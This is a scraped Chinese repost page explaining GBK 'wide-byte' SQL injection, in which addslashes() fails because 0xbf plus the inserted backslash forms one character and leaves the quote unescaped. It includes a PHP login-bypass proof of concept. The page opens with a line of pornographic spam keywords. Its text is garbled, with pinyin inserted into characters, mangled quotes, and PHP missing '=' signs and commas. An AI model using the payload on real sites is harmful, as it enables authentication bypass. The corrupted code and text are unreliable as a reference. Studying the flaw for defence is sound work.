免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費(fèi)電子書(shū)等14項(xiàng)超值服

開(kāi)通VIP
客戶端采用GBK編碼時(shí)addslashes()可能造成SQL注入漏洞
 
摘要:
      在GBK字符集中,0xbf27不作為多字節(jié)字符,而0xbf5c是多字節(jié)字符。當(dāng)0xbf和0x27組合后就變成0xbf27,0xbf 和0x5c 組合后就變成了0xbf5c 。
      當(dāng)注入字符比如0xbf27時(shí),因?yàn)?x27為‘,所以addslashes()在27前加上5c(即\),把0xbf27修改為0xbf5c27。而0xbf5c27的0xbf5c被認(rèn)為時(shí)一個(gè)多字節(jié)字符,所以后面的27(‘)就被注入了sql語(yǔ)句中了。

代碼如下:

[client]default-character-set=GBK

Create a table called users:

CREATE TABLE users(username VARCHAR(32) CHARACTER SET GBK,password VARCHAR(32) CHARACTER SET GBK,PRIMARY KEY (username));
<?php 

$mysql 
= array();

$db mysqli_init();
$db->real_connect(‘localhost‘‘myuser‘‘mypass‘‘mydb‘);

$_POST[‘username‘] = chr(0xbf) .
                     
chr(0x27) .
                     
‘ OR username = username /*‘;
$_POST[‘password‘] = ‘guess‘;

$mysql[‘username‘] = addslashes($_POST[‘username‘]);
$mysql[‘password‘] = addslashes($_POST[‘password‘]);

$sql "SELECT *
        FROM   users
        WHERE  username = ‘{$mysql[‘username‘]}‘
        AND    password = ‘{$mysql[‘password‘]}‘"
;

$result $db->query($sql);

if (
$result->num_rows)
{
    echo 
‘<p>Success</p>‘;
}
else
{
    echo 
‘<p>Failure</p>‘;
}

?>
 ps:與0x5c(即\)為結(jié)尾組成多字節(jié)字符的字符集都可能有這個(gè)漏洞。
 
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)。
打開(kāi)APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
科普:寬字節(jié)注入詳解
利用SQL注入漏洞登錄后臺(tái)
php中addslashes() ,mysql
php mysql SQL注入語(yǔ)句構(gòu)造
使用參數(shù)化查詢防止SQL注入漏洞
php 注冊(cè)時(shí)輸入信息驗(yàn)證器
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服